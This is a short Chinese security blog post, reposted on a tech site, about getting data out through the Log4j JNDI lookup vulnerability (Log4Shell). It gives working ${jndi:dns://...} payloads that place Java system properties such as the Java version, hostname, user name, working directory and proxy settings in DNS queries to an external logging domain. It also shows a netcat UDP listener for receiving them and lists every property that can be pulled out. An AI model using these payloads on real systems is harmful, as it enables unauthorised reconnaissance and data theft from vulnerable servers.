0x01
感觉这个漏洞可以玩的花样很多
漏洞本地复现的时候听到群里师傅说一些java的变量也可以
可以将变量添加到dns的前缀,通过dns协议发出,比如
${jndi:dns://${sys:java.version}.45e517bf.dns.1433.eu.org/test}
${jndi:dns://${hostName}.45e517bf.dns.1433.eu.org/test}
这里我试了下,确实可以(这里其实也还是可以用ldap协议)

多种情况下可以利用,比如可以通过jdk版本、host头、定位到唯一的机器
0x02
诸如此类,完整的变量可以通过demo来查看系统遍历
System.out.println(System.getProperties())
也可以看到有些是路径,如
${sys:user.dir}
${sys: java.class.path}等
由于dns的特殊性,前缀不能含有斜杠,可以通过监听dns流量去获取路径之类的记录(这里就只能使用dns协议了)
nc -ulp 5569

这里有些变量就比较有意思了,比如一些代理的变量
socksProxyHost
http.proxyHost
user.name
http.nonProxyHosts
ftp.nonProxyHosts
socksNonProxyHosts
就可以把服务器的代理外带出来,从而进行进一步的信息收集

还有一些变量,${sys:user.name}可以获取用户名,类似于whoami的结果了

0x03
附,所有的变量:
gopherProxySetawt.toolkitsocksProxyHosthttp.proxyHostjava.specification.versionfile.encoding.pkgsun.cpu.isalistsun.jnu.encodingjava.class.pathhttps.proxyPortjava.vm.vendorsun.arch.data.modeljava.vendor.urluser.timezoneos.namejava.vm.specification.versionsun.java.launcheruser.countrysun.boot.library.pathsun.java.commandhttp.nonProxyHostsjdk.debugsun.cpu.endianuser.homeuser.languagejava.specification.vendorjava.version.datejava.homefile.separatorhttps.proxyHostjava.vm.compressedOopsModeline.separatorjava.specification.namejava.vm.specification.vendorjava.awt.graphicsenvuser.scriptsun.management.compilerftp.nonProxyHostsjava.runtime.versionuser.namepath.separatoros.versionjava.runtime.namefile.encodingjava.vm.namejava.vendor.versionjava.vendor.url.bugjava.io.tmpdirjava.versionuser.diros.archsocksProxyPortjava.vm.specification.namejava.awt.printerjobsun.os.patch.leveljava.library.pathjava.vendorjava.vm.infojava.vm.versionsun.io.unicode.encodingjava.class.versionsocksNonProxyHostshttp.proxyPort
文章转载自only security,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




